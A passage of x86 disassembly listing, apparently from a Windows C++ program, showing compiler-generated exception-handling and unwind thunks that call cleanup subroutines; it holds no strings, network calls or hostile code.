		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_436858
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_436858
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438058:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_436858
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438088:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_436858
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_436858
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380D8:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_436858
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438158:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_436858
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_436858
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438298:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_436858
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43831B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438326:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_436858
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_4385C0:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_4385DE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4385DE:				; CODE XREF: ___:004385D0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_436858
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438600:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438624
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438624:				; CODE XREF: ___:00438616j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_436858
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43864B:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438656:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_436858
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_436858
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_436858
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4386C8:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_436858
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4386EB:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_436858
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 0E9C84D8Dh, 75C569ADh
		db 0C7h
; ---------------------------------------------------------------------------


loc_438AD9:				; DATA XREF: ___:00409602o
		mov	eax, offset dword_43F0A0
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A310	proc near		; DATA XREF: sub_40A310+2o
		mov	eax, offset dword_43F0D0
		jmp	sub_436858
SEH_40A310	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438B26
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438B26:				; CODE XREF: ___:00438B18j
		retn
; ---------------------------------------------------------------------------


loc_438B27:				; DATA XREF: ___:0043F12Co
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A4B0	proc near		; DATA XREF: sub_40A4B0+2o
		mov	eax, offset dword_43F100
		jmp	sub_436858
SEH_40A4B0	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C5692CE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438B59:				; DATA XREF: ___:0040A9D2o
		mov	eax, offset dword_43F140
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE90	proc near		; DATA XREF: sub_40AE90+5o
		mov	eax, offset dword_43F170
		jmp	sub_436858
SEH_40AE90	endp

; ---------------------------------------------------------------------------
		align 10h


loc_438B80:				; DATA XREF: ___:0040B015o
		mov	eax, offset dword_43F1D0
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B9B:				; DATA XREF: ___:0043F25Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B130	proc near		; DATA XREF: sub_40B130+2o
		mov	eax, offset dword_43F230
		jmp	sub_436858
SEH_40B130	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438BEB:				; DATA XREF: ___:0043F2A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B1F0	proc near		; DATA XREF: sub_40B1F0+2o
		mov	eax, offset dword_43F278
		jmp	sub_436858
SEH_40B1F0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


